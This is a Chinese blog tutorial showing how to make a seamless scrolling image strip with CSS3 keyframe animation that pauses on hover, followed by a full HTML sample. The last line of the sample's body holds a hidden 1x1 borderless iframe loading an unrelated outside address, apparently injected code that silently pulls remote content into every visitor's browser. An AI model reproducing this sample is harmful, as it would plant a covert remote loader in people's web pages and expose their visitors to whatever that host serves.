CSS3写的无缝滚动

July 9, 2018

6417 views

1438 words

描述：用CSS3的动画来实现无缝滚动，鼠标经过的时候，无缝滚动暂停，通过animation-play-state: paused;来进行控制，该属性有两个值： paused 暂停 running　播放。
问题：目前存在一个小bug，那就是图片必须按照顺序显示两次，因为实现无缝滚动的原理是通过动画进行移动，移动之后恢复，展示两次图片可以实现无缝对接，但是页面加载的资源占用较多。
示例代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSS3 动画</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background-color: #F7F7F7;
        }

        .view {
            width: 882px;
            height: 86px;
            margin: 200px auto;
            position: relative;
            overflow: hidden;
            border: 1px solid #CCC;
        }

        ul {
            width: 1764px;
            height: 86px;
            padding: 0;
            margin: 0;
            list-style: none;
            position: absolute;
            left: 0;

            animation: move 7s linear infinite;

        }

        ul:hover{
            /* 控制动画状态 paused 暂停  running　播放*/
            animation-play-state: paused;
        }



        li {
            float: left;
            font-size: 0;
        }


        @keyframes move {
            0%{
                transform:translate(0);
            }

            100%{
                transform:translate(-882px);
            }
        }

    </style>
</head>
<body>
<div class="view">
    <ul>
        <li><img src="./images/1.jpg" alt=""></li>
        <li><img src="./images/2.jpg" alt=""></li>
        <li><img src="./images/3.jpg" alt=""></li>
        <li><img src="./images/4.jpg" alt=""></li>
        <li><img src="./images/5.jpg" alt=""></li>
        <li><img src="./images/6.jpg" alt=""></li>
        <li><img src="./images/7.jpg" alt=""></li>
        <li><img src="./images/1.jpg" alt=""></li>
        <li><img src="./images/2.jpg" alt=""></li>
        <li><img src="./images/3.jpg" alt=""></li>
        <li><img src="./images/4.jpg" alt=""></li>
        <li><img src="./images/5.jpg" alt=""></li>
        <li><img src="./images/6.jpg" alt=""></li>
        <li><img src="./images/7.jpg" alt=""></li>
    </ul>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

CSS3写的无缝滚动